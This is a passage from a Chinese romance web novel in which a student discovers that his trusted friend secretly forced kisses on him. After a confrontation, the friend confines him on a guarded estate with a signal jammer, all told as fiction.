原本状态还算平和的少年,在听到这句话后忽然情绪激动起来:“不要再提他了!我跟他已经不是朋友了!” 无疑,在他已经失去的三个“朋友”中,陆承轩带来的心理创伤是最大的。 他从前一直把陆承轩当弟弟看待,又是从小一起长大的发小,许多时候,陈悯之都默许了陆承轩一些看上去有些越界的亲近。 比如抱着他闻,或者高兴起来扑到他身上舔他的脸,还有打雷的时候缠着要和他睡一张床,还要抱着他睡 而在得知陆承轩对自己的心思后,从前的一切亲密接触便全变了味儿。 那些曾经令他感到温暖幸福的回忆,再想起来,只觉得像是被阴冷黏腻的毒蛇爬过,留下一滩令人恶心的粘液。 秦陌没有再问下去。 这几天,少年似乎把卧室当成了他新的兔子窝,成天窝在里面不出来。 不过学习倒是没落下,一个人很认真地对着秦陌带回来的笔记和课本自学,学不懂的就去问秦陌。 秦陌不愧是全学院绩点第一的学霸,那些知识其实他早在上大学前就掌握了,给陈悯之讲解起来也很耐心,比学院老师讲的都还要细。 这么一来,虽然陈悯之没有去学校,该学的课业却一点儿也不落。 周末,秦陌忽然问陈悯之,要不要去游乐园玩儿。 陈悯之从书本上抬起头,有些愣怔:“游乐园?” 秦陌:“嗯,你这两天学得太过了,去放松一下。” 陈悯之这几天确实是把自己埋进了课本里,只有这样,他才不会去想到那些令他伤心的事。 他想了想,去游乐园放纵地玩儿一天,忘掉那些烦恼也好,便点头答应了。 * 去游乐园当天,陈悯之穿了一件纯白色卫衣,配宽松的浅蓝色牛仔裤,这很正常,没什么特别的。 不正常的是秦陌的装束。 秦陌居然也穿了一件黑色卫衣。 陈悯之奇怪地看着他:“你怎么穿成这样?” 秦陌视线淡淡瞥向他:“不行吗?” 陈悯之:“也不是不行就是” 就是印象中,秦陌不是穿西服就是风衣,每件衣服都剪裁利落,和男人冷感的气质很贴合,但陈悯之还是第一次见秦陌穿卫衣这种宽松版型的衣服 男人身形挺拔,五官优越,穿着倒是不难看,只是他有点不习惯罢了。总感觉就像就像是往常总是如同冰山般的男人,身上气质忽然变温暖了一点。 陈悯之组织了一下词语:“就是还没看过你穿卫衣,有点不习惯。” 秦陌面不改色:“那是你看得少了。” 以后多看看就好了。 到了游乐园,秦陌买了双人的全场通票,问陈悯之:“想先玩儿哪个?” 陈悯之眼睛亮亮的:“过山车!” 秦陌眼皮跳了一下。 陈悯之看他半天没说话,脸上的笑容渐渐落下来,小声问:“怎么了?你恐高吗?” 超级恐高、建别墅都从来不建超过三层的秦陌:“没有,不恐。” 少年便又笑起来,拉着他的袖子:“那我们去排队吧!” 秦陌垂眸看着那只拉在自己身上的手,唇角也不自觉地勾起一丝笑意:“嗯。” 然而再怎么逞强,身体的反应却骗不了人。连着三趟下来,男人一张俊脸已经白得像纸。 陈悯之担忧地望着他:“你真的没事吗?” 秦陌压下胃里的不适:“没事。” 陈悯之:“可我看你脸色不太好” 秦陌:“没事,只是刚才在上面,风吹着有些冷。” 陈悯之把他摁在路边的长椅上:“那你在这儿休息一会儿,我去买杯热饮。” “嗯。” 秦陌望着少年哒哒哒跑走的背影,眼底是连自己都没察觉的温柔。 他没告诉陈悯之的是,他惧怕高空,可刚才在过山车上,他一刻也没有闭眼。 他一直在看着陈悯之。 少年黑发被风吹得扬起,在最高处明明怕得不敢睁眼,脸上却是笑着的,那笑容明亮又干净,像是春日的阳光,让人想要将它永远留下来。 他想要陈悯之一直都这么快乐。 秦陌在此刻忽然想。 不一会儿,陈悯之拿着两杯热气腾腾的玉米汁跑回来,两人坐在路边,一人捧着一杯喝。 “要我帮你们拍张照吗?”一个女生举着相机,看了眼二人的衣着,笑意盈盈,“你们看上去很般配呢。” “啊?我们不是” 陈悯之话还没说完,就听秦陌道:“好。” 女生说:“两个人靠近一点。” 陈悯之没动,却能感受到秦陌靠了过来,他能闻到男人身上清冷的雪松香。 女生冲他们挥挥手:“看镜头,笑一笑。” 陈悯之还沉浸在女生之前的话中,想说她误会了,但听到这话还是下意识地看向了镜头,露出一个有些腼腆的笑容。 “咔嚓”一声,画面定格。 女生把照片洗出来递给他们,然后笑眯眯地拿出挂在脖子上的收款码:“二十,支付宝还是微信?” 秦陌看向手里的照片,照片上的少年笑容腼腆,有些害羞似的,但他五官生得柔软,脸上的每一处线条都恰到好处,无论什么样的表情都是好看的。 陈悯之在看镜头,而他在看陈悯之。 秦陌向来冷硬的心脏,仿佛在此刻,被什么柔软的东西轻轻拨动了一下。 他给女生付了一百块过去:“谢谢,拍得很好。” 女生脸上先是惊讶,后是喜出望外:“谢谢谢谢,祝二位白头偕老比翼双飞早生贵子儿孙满堂!” “等等,我们不是”陈悯之张口结舌地要解释,但女生已经收了钱美美跑走了。 陈悯之愣愣看向秦陌:“你为什么不解释啊?” “没有必要,一个无足轻重的陌生人而已。” 秦陌淡淡道:“再者,既然你心中清白,又何必害怕旁人误会。” “可是”陈悯之总觉得这话似乎不太对劲,可一时间又不知道从哪里辩驳。 而男人已经在不知何时凑近,漆黑眼瞳定定望向他:“还是说,你心中并不清白?” “我哪儿有!” 陈悯之面红耳赤地跳起来,抱着玉米汁跑走了,连拍好的照片也没顾得上看一眼。 可是我有。 秦陌望着少年仓皇的背影,在心中说。 倘若我问心有愧呢? * 旋转木马、高空秋千、海盗船、碰碰车各种眼花缭乱的游戏项目玩儿下来,秦陌发现,陈悯之最喜欢的竟然是蹦床馆。 过山车都还好,但蹦床秦陌从六岁起就已经不玩儿了。 作为一个成年男人,他实在拉不下那个脸在半空中蹦来蹦去。 于是他就站在一边儿看陈悯之玩儿。 看他一会儿并腿跳,一会儿开腿跳,一会儿蹲下来和旁边的小孩哥争论,然后很不服气地和小孩哥比谁跳得高。 还真是只兔子。 秦陌有些无奈地扶额,但唇角却始终挂着温柔的笑意。 怎么跟带小娃娃出来玩儿一样。 想到这里,秦陌不禁低笑出声。 他低着头笑了一会儿,一抬头,却发现蹦床上的人不见了。 环视一圈,依然没看见少年的身影。 陈悯之跑了。 想到这一点,男人脸色骤然变得阴沉,正要打电话叫安排在暗地里的保镖,让他们不计代价地把人抓回来,脚踝却忽然被一只手抓住了。 下一刻,他猝不及防被拖入了蹦床外围的海洋球池里。 只听“哗啦啦”一串儿响动,少年从彩色的海洋球里钻了出来,笑吟吟地趴在他胸膛上方:“吓到你了吗?” 秦陌望着那张明亮的笑脸,神色怔忡。 他忽然明白了陈悯之身上吸引他的到底是什么。 少年的心就像他的外表一样柔软,柔软到仿佛能够包容一切一样,而同时,这种柔软又是强大的,坚定的,不会被任何外物所改变。 即使遭受了欺骗,伤害和背叛,他也依然会用一颗最纯粹的心去对待他人。 海洋球里,两个人的身体紧紧相贴,秦陌几乎能闻到少年身上特有的清淡香气。 可他却移开了视线。 陈悯之脸上的笑容渐渐落下去,转而浮现起担忧:“你怎么了?摔到了吗?” “没有。”秦陌说。 “那你是哪里不舒服?怎么脸色这么差” 秦陌哑声道:“没有。” 陈悯之坐起来,终于发现哪里有些不对劲:“你怎么了,怎么都不看我?” 秦陌顿了顿,看向那双乌润润的眸子。 眼前的少年是如此地柔软,干净,像是由世间一切最纯粹、最美好的东西组成,他对着这个对他怀有阴晦、鄙陋、龌龊心思的人,毫不知情地展露出了真诚柔软的关怀。 可阳光越明亮,便将阴沟里的污泥衬得越阴暗。 我不敢看你。 秦陌望着那双纯净的双眼,在心底作出了他的回答。 因为在你面前,我是如此地卑劣,如此地贱俗。 第35章 第 35 章 身后响起一道阴森森的声…… 35 从蹦床馆出来, 秦陌问陈悯之,还有没有什么想玩儿的。 两人从早上十点开始玩儿到下午六点,基本上已经把大部分项目都玩儿遍了, 只剩下几个专门给小孩子玩儿的幼儿项目没去玩儿, 陈悯之于是道:“没有了。” 秦陌:“那可以陪我去玩儿一个项目吗?” 陈悯之一怔。 他才反应过来,这一整天其实都是秦陌在陪着他, 他说玩儿什么就玩儿什么,中途他也问过秦陌有没有想玩儿的,但男人都说随意。 陈悯之:“可以,不过你想玩儿的是什么?成人项目我们都已经玩儿遍了啊。” 秦陌:“还剩一个。” 陈悯之:“什么?” 秦陌:“鬼屋。” 走到鬼屋面前,还没开始进去,光是看着外面立着的红眼睛电锯杀人魔,陈悯之就已经开始害怕了。 他最怕鬼了, 从小到大连恐怖片都不敢看, 更别说进鬼屋。 但答都答应了,他到现在又不好再推脱,只能很缓慢地磨着步子, 试图把进鬼屋的时间拖晚一点。 秦陌见他一副踌躇不定的样子, 停下脚步, 问:“害怕?” 陈悯之点点头:“有一点。” 秦陌顿了顿:“实在害怕的话,就不玩儿。” 可跟前的少年咬了咬唇, 还是道:“玩儿吧, 来都来了。” 陈悯之心想, 秦陌陪自己玩儿了那么多趟过山车, 脸都白了也没说什么,而且秦陌就这么一个想玩儿的,他要是不陪着他玩儿一回也太不厚道。 而且这游乐园也忒贵, 一张通票六百块呢,虽说是秦陌请的客,但要是不把项目都玩儿一遍总感觉亏了。 秦陌望着他,那双向来冷若冰霜的眼睛里,此刻却蕴着罕见的温柔:“好,一会儿你走我后面。” “不用怕,我会保护你。” 陈悯之犹疑着点了点头。 进了鬼屋,四下一片漆黑,唯一的光亮只有进屋前工作人员派发的荧光棒,很小一支,照亮脚下都够呛。 但好在,荧光棒足以照亮身前人的衣角,陈悯之走在秦陌后面,看着前方男人高大宽阔的身影,多少能有一点安全感。 因为是开在游乐园的鬼屋,里面并没有特定的单一主题,只是为了起到吓人的效果,因此里面的元素很混杂,他们进的第一个房间还是学校里的教室,第二间屋子就变成了医院里的太平间。 房间里停着一辆辆运尸车,每一辆上面都盖着阴森森的白布,下面隆起一个人体的形状。而四周幽黑,只有头顶的监控亮着微弱的红光。 这还是陈悯之长这么大第一次进鬼屋,经过第一间房的时候他都还觉得没什么,甚至觉得好像也不过如此,没他想象中那么恐怖,但到了第二间时候才真有些怕了。 “诶,你们说这些白布下面盖着的是真人还是假人?”跟他们一起进来的一个男生问。 有人道:“不会是真人吧?我激动进来时工作人员说会有NPC来着” “啊啊啊啊啊你别说了我害怕!”一个女生尖叫着捂住了她男朋友的嘴。 陈悯之原本就害怕,一听这话更是吓得跟只鹌鹑儿似的,话都不敢说一句。 不会真是真人吧会不会有鬼突然掀开白布从车上跳下来 人最大的恐惧来源于未知,陈悯之越想,就越是觉得后背发凉。 他咬了咬唇,小声叫走在前面的男人:“秦陌。” 秦陌:“嗯?” 陈悯之有些难为情地说:“我可以抓着你的衣服吗?” 黑暗中有片刻的安静,几秒钟后,他听到男人平稳的声线:“可以。” 陈悯之松了口气:“谢谢。” 他伸手,像是小时候玩儿老鹰捉小鸡一般,攥住了男人的卫衣下摆。 黑暗中,男人的唇角轻轻牵了一下。 然而,就在陈悯之刚牵上去没一会儿,后方就突然传来一声尖叫:“鬼啊啊啊啊啊!!!!!!” 与此同时,离他很近的地方传来电锯的嗡嗡声。 陈悯之当即被吓得魂飞魄散,手一抖,荧光棒掉在了地上。 四下霎时陷入一片漆黑。 周围响起人群仓皇的奔逃声,杂乱的脚步声踏在地上,分不清是鬼的还是人的,陈悯之吓得六神无主,本能地跟着人群跑,竟忘了他原本是抓着秦陌的。 可这里到处都是黑的,他手里的荧光棒又掉了,慌乱之中也不顾上捡,只能摸着黑一通乱撞,没多久就和人群跑散了。 而且他似乎跑到了一个陌生的房间里,这个房间好像是那种上世纪七八十年代的主题,里面摆着老电视模型、破旧的五斗柜、老式衣柜、茶几、断了一只脚的木床等家具。 这间房的陈设倒不是很吓人,但现在陈悯之只有一个人,他觉得哪里都很吓人。 陈悯之觉得自己应该先去和秦陌接上头,于是对着黑暗叫到:“秦陌?” 他想找秦陌,又怕把鬼引过来,因此叫得很小声。 没有人回应他,正当他犹豫着打算返回原路时,身后突然传来一阵滋滋的响声。 陈悯之四肢僵硬地转过身,就见那台看上去是模型的老电视上,原本漆黑的屏幕亮了起来,上面闪烁着无信号时的雪花噪点。 滋滋的声音响在黑暗中,伴随着电视闪烁的幽光,显得格外诡异。 而与此同时,陈悯之听到一阵沉沉的脚步声往这边走过来。 “哇啊啊啊啊——” 陈悯之腿都吓软了,慌乱中哪里还顾得上找出口,他四下张望一圈,拉开那个破衣柜的门就钻了进去。 柜门关上的那一刻,外面的脚步声踏了进来。 陈悯之后背紧紧抵着衣柜壁,抱着膝盖把自己蜷缩起来,眼睛紧紧闭着,长长的眼睫却在不停地发抖。 别过来别过来 陈悯之在心里不停地祈祷,但那脚步声却越来越近,在老电视滋滋的响声中,渐渐逼近了他所在的衣柜。 下一刻,衣柜门骤然被拉开! “哇啊啊啊啊啊啊!别、别抓我——” 陈悯之霎时惊声尖叫起来,可想象中来抓他的鬼手并没有到来,相反,他落入了一个宽阔温暖的怀抱。 “别怕,是我。” 熟悉的声音在耳边响起,陈悯之胡乱扑腾的手脚终于安分下来。 他睁着一双湿漉漉的黑眼睛,不敢相信似的,小心翼翼地出声:“秦陌?” 男人双臂环抱着他,声音低沉:“嗯,我在。” “呜呜吓死我了,我还以为是是”少年显然是被吓得狠了,声音都吓出了哭腔。 秦陌轻轻抚着他的背,动作温柔又坚定:“没事了,NPC被我引开了,不在这里。” 男人的胸膛十分结实,陈悯之的脸贴在上面,能感受到对方身上的热度透过衣服传过来,他靠了一会儿,渐渐恢复了安全感,但随即又觉得有些丢脸,红着脸从男人怀里抬起身,问:“其他人呢?” 秦陌道:“他们往前面走了,你想去找他们吗?” 陈悯之点点头:“还是和大部队一起走吧。” 人多安全一些。 “好。” 去找大部队的路上,陈悯之还是像之前一样,抓住了秦陌的衣角。 然而这一次,男人宽大的手掌却覆了过来,将他的手握在掌心,牢牢地牵住了。 陈悯之被对方掌心的热度烫得一缩,下意识挣扎:“你做什么?” 前方传来秦陌不紧不慢的声音:“这里太黑了,抓衣服容易走散。” “你也不想再单独碰上NPC吧?” 原本还在努力挣脱的陈悯之,听到这句话后不动了。 少年一路上都乖乖让人牵着,不吵不闹的,乖得不行。 秦陌的唇角挑起一丝弧度。 好可爱。 想亲。 要是能亲就好了。 但很遗憾不能,于是他只能握着少年柔软的手,解馋似的在掌心捏了捏。 身后的少年一路上都胆战心惊地四处张望,注意力全放在随时有可能出现的鬼身上,倒是没注意到他的小动作。 真是只呆兔子。 秦陌在心里想着。 要拴在身边好好保护起来才行,不然呆成这样,放在外面很容易就被人吃干抹净了。 “还有多远?怎么还没追上他们呀?”陈悯之颤着声音问。 “就快了。”一路上故意放慢脚步的男人勾了勾唇,温柔地回答。 走了大约十分钟,他们终于追上了大部队。后半场自然又碰上了几次NPC,不过这次,男人始终紧紧牵着他的手,一刻也没有放开。 碰上NPC贴脸的时候,秦陌就把他护在怀里,用身体将他与后面的鬼阻隔开来,男人身量高,比鬼屋里的NPC都高上许多,又肩宽背阔,这么一挡,陈悯之便什么也看不见了,倒是不再像之前那么害怕。 不过,虽然经了这么一遭吓,陈悯之晚上回家躺在床上时,心情却是前所未有的放松。 他忽然想通了。 逃避是没用的,陆承轩、顾明珏和卫殊几个,再可怕也没有拿着电锯在后面追的鬼可怕。 他们变态是他们的问题,他只要以后不和他们来往就行了,总不能因为几个变态,自己好不容易考上的大学都不上了。 明天他就收拾一下东西,跟秦陌说自己打算搬回宿舍上学。 * 第二天,陈悯之起床没看见秦陌的身影,管家说今天周一,秦陌去公司了。 陈悯之周一也有课,他想早点回去上课,便不打算等秦陌回来了。 反正秦陌也会去学校的,到了学校再和他说也一样。 陈悯之在屋子里收拾自己的东西,把衣服和课本都装进行李箱里,收拾得差不多了,才发觉自己的课堂笔记本不见了。 陈悯之回忆了一会儿,想起是前天他去找秦陌讲题,讲完题秦陌问他要不要打游戏,结果游戏打完,他把笔记本忘在秦陌卧室了。 陈悯之便去秦陌屋子里拿。 可找了一圈儿却没找着。 陈悯之奇怪地挠挠头,他记得前天好像是顺手放在秦陌床头柜上了,秦陌帮他收起来了吗? 秦陌的房间很整洁,他用目光扫了一圈就知道外面没有,于是陈悯之拉开了秦陌的床头柜。 这举动固然有些不礼貌,但陈悯之急着回学校上课,也顾不上许多,毕竟大家都是这么熟的朋友了,秦陌应该也不会怪他的。 可打开柜子,陈悯之没找到他的笔记本,倒是有一瓶香水吸引了他的注意。 若它只是一瓶普通香水,陈悯之自然不会觉得奇怪。 但奇怪的地方就在于,这瓶香水的包装瓶是很艳俗的桃红色,形状也是毫无设计感的一个大爱心,像是某宝九块九包邮的那种廉价香水,完全不像是秦陌平时会用的。 而且,这很明显是一瓶女士香水。 陈悯之向来有些迟钝的脑子里,却在这一刻敏锐地闪过了什么。 鬼使神差地,他伸手拿起那瓶香水,打开瓶口闻了闻。 下一刻,廉价的玻璃瓶猝然从少年手中滑落,“砰”的一声摔碎在地上,四分五裂。 就是这个味道这瓶香水的味道,和那个两次强吻他的变态身上的廉价香水味一模一样! 陈悯之仿佛忽然被抽空了浑身的力气,手脚发软地跌坐在地上,脸色惨白,神情呆滞。 香水瓶的玻璃渣碎了一地,里面的液体流淌出来,满室都弥漫着刺鼻的劣质浓香。 香气缭绕,织成一张巨大的网,将陈悯之拖入了一个深不见底的噩梦。 本能在他耳旁尖啸,催促着他要赶快站起来,趁着香水的主人,趁着潘多拉魔盒被打开后放出来的恶魔还未现身之际,赶快逃离此地,可他浑身都像是被彻骨的寒冰冻住,一根指头都动不了。 就在这噩梦般的浓香之中,他听见身后响起一道阴森森的声音:“找什么呢?” 第36章 第 36 章 “骗子!你这个骗子!”…… 36 少年坐在满地的玻璃碎片中, 那些碎片被阳光映照得熠熠发亮,将他整个人衬得美丽又脆弱,好像下一刻, 也要像这些闪闪发亮的残骸一般破碎掉。 他的皮肤很细嫩, 很容易就会被尖锐的玻璃渣划伤。 秦陌蹙了蹙眉,抬步上前, 却在下一刻听到少年的尖叫声:“别过来!” 他停下了步子。 然而坐在地上的人,情绪却依然没有缓和半分。 陈悯之浑身都在巨大的冲击下发着抖,那双乌黑眼眸在极度恐惧和愤怒下,变得通红水润,如同审判的铡刀落在秦陌头上。 他颤抖着说:“是你。” 秦陌的语气很平静:“是我。” 尽管心中早已确定了答案,可在听到男人亲口承认,连辩解都不做的时候, 陈悯之的眼泪还是忍不住夺眶而出。 被最信任的人背叛的酸楚和痛苦铺天盖地地将他淹没, 明明已经愤怒到极点,却仿佛连声嘶力竭质问对方的力气都失去了。 他只能坐在地上,颤着唇瓣喃喃:“为什么?” 为什么啊?为什么这些他最亲近最信任的人, 要一个接一个地背叛他? 陈悯之不明白。 秦陌没有回答。 他只是用一种近乎冷静到可怕的语气, 说出了最残忍的话:“在静水山庄, 停电时吻你的人,藏在你屋子里抓你脚的人, 也是我。” 或许是出于那么一点愧疚, 又或许是出于对自我惩罚的强烈愿望, 男人以一种近乎自毁的方式, 将他所有的肮脏、卑鄙、不堪,尽数暴露在了少年面前。 陈悯之骤然瞪大了眼睛。 他望着这张熟悉的英俊面庞,这个昔日他最信任的至交好友, 却觉得此刻站在面前的人是如此的陌生,陌生到了让他恐惧的地步。 仿佛眼前站在的不是一个和他一样有着温热血肉的人类,而是一个没有心脏的、冷血的魔鬼。 少年像是被接踵而来的伤害给击垮了,神色呆滞,一双眼睛空洞地睁大,泪水从那里面漫出来,他好像不再会说其他的话,只知道喃喃地追问着:“为什么为什么要这样对我” “因为我喜欢你。” 秦陌的脸色很平静,仿佛只是在说很平常的一句话,可垂在衣袖下的指节却紧绷到泛白。 他喉结滚动一下,漆黑眼瞳望着坐在地上的少年,哑声重复:“我喜欢你,悯悯。” “骗子!”少年骤然爆发出一声叫喊,像是承受的压力终于到了极点,本能为他罩上的那层保护壳彻底破碎掉了。 陈悯之眼睫挂着泪水,他死死瞪着男人,浑身崩溃发抖:“你骗我!我之前问过你的,你明明说你是直男,不喜欢男人!你骗我!” 那时他原本都已经怀疑到秦陌身上了,可因为秦陌的一句不喜欢男人,他理所当然地就相信了他,并且在之后的那么久都对他毫无防备! 可陈悯之万万没想到,自己对秦陌的信任,竟然能够变成秦陌刺向他的一把匕首! “对不起。”秦陌垂着眸子,声音低沉而沙哑。 但在情绪已经崩溃的少年面前,这句轻飘飘的道歉显然起不了半点儿作用,少年像是再也控制不住,坐在地上绝望地哭起来。 “骗子骗子,呜、呜呜,你这个骗子我那么信任你,你怎么能怎么能呜呜呜” 陈悯之一想到自己之前竟然还把秦陌当成唯一的倾诉对象,把自己被人强吻的事全都给秦陌说了,还很开心地和秦陌说有女生喜欢他,而当时秦陌就心知肚明地在旁边看着,旁观着他被蒙在鼓里的丑态,看他像个小丑一样洋洋得意,就觉出一种难言的、巨大的羞辱来。 好丢脸真的好丢脸他简直就是世界上最傻的大傻叉! 比起狼狈地坐在一地水痕与碎片中的少年,站立着的男人西装笔挺,衣冠整洁,脸上也没有太大的表情,可声音却嘶哑得厉害,仿佛并不比地上的人好上几分:“悯悯,我对你的喜欢是真的,在这一点上,我没有骗你。” “之前的那一次也不是故意骗你的。” “在确定对你的心意之前,我没有喜欢过任何人,因此并不知道自己的性向是什么。我喜欢你,喜欢的只是你这个人,与你是男是女无关。” 秦陌说的是真话,他很确定,即使一开始他认识陈悯之时,陈悯之是个女生,他最终也一样会喜欢上他。 但少年显然已经不再信任他了,红着眼睛瞪他:“狡辩!都是狡辩!” “你一边说你喜欢我,一边又骗我,欺负我,羞辱我,把我像个傻子一样耍得团团转!没有人的喜欢是像你这样的!” 秦陌那张仿佛无波古井一般的脸上,终于出现了一种名为慌乱的情绪,他上前一步,像是急切地想要证明什么似的:“悯悯,在你之前,我没有爱过人。” “我承认,我之前是使用了一些错误的方式和手段,但我会改的,我会试着用你能接受的方式去爱你,你相信我,好不好?” 秦陌走到陈悯之跟前,想要去把坐在玻璃渣里哭泣的少年抱起来,可少年却猛地挥开了他的手。 “我不接受!”陈悯之恨恨盯着他,好像他成了这个世界上他最讨厌的人,“无论你用什么方式,我都不可能接受你的喜欢!” 从来柔软温和的少年,此刻却像是一只受到伤害的小动物,对着人竖起了浑身尖锐的刺:“你的喜欢和你一样,都让我感到恶心!” 说完,陈悯之也不顾手掌会被玻璃渣割伤,猛然在地上撑起身,头也不回地跑走了。 秦陌浑身僵硬地立在原地,像是忽然间被一把锋利的匕首刺穿心脏,凉风从伤口处灌进去,空落落地发疼。 向来冷静强大的男人,竟在此刻显露出了一种从未有过的脆弱。 直到许久之后,他的神志才渐渐回笼。 他听到楼下传来模糊的喊声。 秦陌走向阳台。 卧室阳台正面对着别墅外面的草坪,能够将方圆几里的景象都尽收眼底。 于是他看到了草坪上少年拖着行李箱,渺小又倔强的背影,不顾管家的劝阻,那样决绝地往前走着,一次也不肯回头看他。 好像这一走,就再也不会回来了。 霎时间,一种将要永远失去最珍爱之物的恐惧感攫住了秦陌,他疾步走向床头,拨通了别墅的内线电话,对电话那头的管家道:“拦下他。” 那一点脆弱感在男人身上消失得无影无踪,顷刻之间,他又变回了那个冷静到漠然的上位者,声线森冷,对着被他捕食的猎物下达了冷漠而残忍的追捕令:“没有我的允许,不准他踏出庄园半步。” * 庄园很大,从入口处到里面主人住的别墅,开车都需要将近二十分钟,而且七拐八弯的,陈悯之又没记路,拖着个行李箱,气冲冲地一边走一边抹眼泪,走了快一个小时才看到庄园大门。 他生气地想,他以后再也不要回来了,再也不要和秦陌说一句话,他要离这些人远远的,就算没有朋友,他一个人也可以过好自己的生活。 然而,当他拖着行李箱走到大门前,却被人高马大的保镖拦下了。 “抱歉,陈先生,您不能出去。” 陈悯之愣了愣:“为什么?” “这是少爷的吩咐,您可以在庄园之内自由活动,但不能踏出庄园一步。” 陈悯之瞪大了眼睛:“你们这是要软禁我?” 回答他的人依旧面无表情:“这是少爷的意思。” 陈悯之气得胸口上下起伏:“你们这是犯法的!我要报警!” 他原以为听到他要报警,对方至少会有一丝动摇,然而站在他跟前的保镖连眼皮子都没动一下,而且不是一个,而是整整一排,身材高大,手持电棍,面无表情的保镖,就像是一排没有自主思想,之听命于主人的机器。 陈悯之瞪着圆圆的眼睛看了他们一会儿,望着一看就比自己强壮许多的一群人,他心里到底有些发怵,但因为生气,又生出了那么一点外强中干的勇气来:“你们真以为我不敢吗!” “您请便。” 陈悯之当即就掏出手机,拨打了报警电话,然而他没想到的是,电话根本拨不出去。 他来的时候还很正常的手机,现在突然没有信号了。 庄园里设有信号屏蔽器。 陈悯之傻眼了。 尽管他不是很聪明,但也能想到,这么大一个庄园,信号屏蔽器当然不可能是在这短短一小时之内设置好的。 秦陌多半早就想好了把他骗到这里关起来,只有他这个毫无防备的傻子,听信于魔鬼的谎言,天真又愚蠢地主动跳入了猎人为他准备的笼子里。 他逃不出去了。 陈悯之绝望地想。 这时,后方传来汽车的嗡鸣声。 一辆黑色宾利停在了他身后。 面容和蔼的管家从副驾驶上下来,躬身为他拉开了后排的车门:“陈先生,已经中午了,少爷正等着您回去一起用饭。” 陈悯之不情不愿地坐上了车。 回到别墅里,陈悯之果然看到秦陌坐在餐桌前,身姿笔挺,好像已经这样等了很久。 男人换掉了从公司回来穿的西装,只穿了一件白衬衫,款式简单,剪裁却十分利落,将宽肩窄腰的身形勾勒得十分明显,还能隐隐看到胸前肌肉起伏的轮廓。 秦陌平时穿深色更多一些,突然间换上白衬衫,倒还真显出了几分人模狗样的清俊。 但外表再好看,也掩盖不了这具壳子里包裹着的是个魔鬼的事实。 陈悯之如是想道。 见他回来了,秦陌动了动身体,将扣到最上面的衬衫纽扣解开一颗,淡声道:“过来吃饭。” 陈悯之看都不看他一眼,提着行李箱就往楼上自己的卧室走。 旁边的佣人习惯性的想要过来帮他拿箱子,但瞅了眼自家主人冰寒的脸色,又战战兢兢退到了一旁。 没关系,毕竟以后都要在这里住着,先放了行李再下来吃饭也是一样的。 秦陌脸色漠然的想着,可等了一会儿,却莫名觉得胸口有些闷。 他皱着眉头,又解开了一颗衬衫纽扣。 “把饭菜热一热。”他对佣人吩咐道。 “好的少爷。” 饭菜热到第二遍的时候,秦陌终于有些坐不住了。 男人看了眼手表,一张英俊面庞阴沉得能滴水。 他起身上了楼。 陈悯之把行李箱放到屋子里也没收拾,就坐在床上,闷着个脑袋想怎么才能逃出去。 报警是不行了,那要不找朋友来帮帮忙 然后陈悯之绝望地发现,他唯一的四个朋友,现在不是被他屏蔽,就是被他拉黑了。 想到这里,他的思维又开始跑偏,开始思考起自己是怎么落到现在这个举目无亲的地步的。 然后很懊恼地发现,还是自己太笨了,识人不清,明明长了这么多年,还是和小时候一样分不清人好坏,总是要吃到教训才能后知后觉地反应过来。 别人是吃一堑长一智,他是吃一堑再吃一堑然后再再吃一堑。 陈悯之有点想哭。 就在这时,他听到卧室门咔哒一声打开的声音。 陈悯之转过身,看着跟进自己屋似的从容走进他卧室的男人,瞪大了眼睛。 他明明是反锁了的,而且别墅里的门也不是电子锁,就是普通的门锁。 但经历过在顾明珏家半夜被人开门的事情后,他那迟钝的脑袋在这方面也变得稍微聪明一点了。 这是秦陌的别墅,秦陌自然有每间房的备用钥匙。 陈悯之泄下气来,把圆圆的脑袋转回去,背过身不看进来的男人。 秦陌看到少年这幅不配合的倔强模样,气得冷笑一声:“跟我闹绝食?” 他原以为少年不会回答,谁知听到这句话后,少年忽然转过身,瞪着圆圆的眼睛,凶巴巴说:“谁跟你闹绝食了!” 像某种生气了,龇牙咧嘴,但毫无威胁力的柔软小动物。 唔有点可爱。 秦陌这么想着,脸上神色也不自觉地柔和了一些。 但下一刻,少年的话却又让他冷了脸:“你也配!我只是不想跟你一起吃饭而已!” 陈悯之说的是实话,虽然他的确很生气,也很绝望,但他从小被教育的很好,深知无论什么时候,都不能为了他人伤害自己身体的道理。 折腾了这么一趟,他肚子早就饿了,只是单纯不想看见秦陌,不想像从前一样和秦陌坐在一张桌子前吃饭。 那样会搞得像他们还是好朋友一样。 少年看似柔软无害,像是春天的柳絮一般毫无攻击性,可实际上却比谁都倔,一旦把谁认定成了敌人,就要在自己和那人之间清晰地划出一道楚河汉界,再也不许人跨越半步。 秦陌显然也明白了这一点,他面容冷得仿佛刀枪不入的坚冰,心中却蓦地升起一种难以言喻的酸楚,揪得他心脏发疼。 但他同时又近乎漠然地想着,那有什么关系呢?总归陈悯之现在人在他这里,跑也跑不掉,他们的时间还很长,失去的东西,他可以慢慢地从陈悯之身上讨回来。 他没有理会少年的冷嘲热讽,冷冷道:“既然没有绝食,就下来吃饭。” 管家说陈悯之今早急着回学校上课,早饭也没吃多少东西,再饿下去,对胃不好。 但向来脾气很好的少年,此刻却像是被激怒了一般,抓起床上的空调遥控器就朝他扔了过去:“我说我不想跟你一起吃,你听不懂人话吗!” 秦陌不躲不避地挨了这一砸,却眼尖地瞥见,少年握着遥控器的时候,脸上一闪而过的吃痛神色。 他皱着眉大步上前,不顾陈悯之的挣扎与躲避,强行攥住他的右手手掌察看起来。 这一看,男人原本就冰冷的脸色骤然沉下来,阴森得让人觉得可怖。 陈悯之本能地往后缩:“你干什么” 秦陌黑漆漆的眼瞳盯着他:“受了伤,为什么不包扎?” 伤口是早上被香水瓶的玻璃碎渣弄的,当时秦陌就看见了,只是他没想到,这人竟然能笨成这样,走之前都不知道找管家处理一下伤口。 男人森森道:“你是在对我用苦肉计?” 陈悯之莫名其妙地看着突然发疯的男人,他现在很想骂人,奈何在这方面的知识储备实在欠缺,憋了半天,只憋出一句:“你有病啊!” 但看着男人阴沉得像是要吃人的脸色,他的气势最终还是弱下去,很不服气地咕哝着:“这么小个口子哪儿需要包扎” 那个口子还没他拇指盖大,而且早就已经止血了。 但秦陌却煞有介事地抓着他的手,生怕他又乱动伤着自己似的,另一只手拨通了内线电话,让人送了医药箱上来。 陈悯之见男人打开医药箱就要给自己包扎,当即挣扎起来。 倒不是苦肉计,而是在知道眼前的人是个变态后,他接受不了秦陌再对自己做这种事。 还是那句话,搞得他们好像还是好朋友一样。 他不需要来自秦陌的任何好意,也不会给他们之间已经破碎的关系有任何复原的可能。 “别动。”男人刀锋似的目光冷冷扫向他。 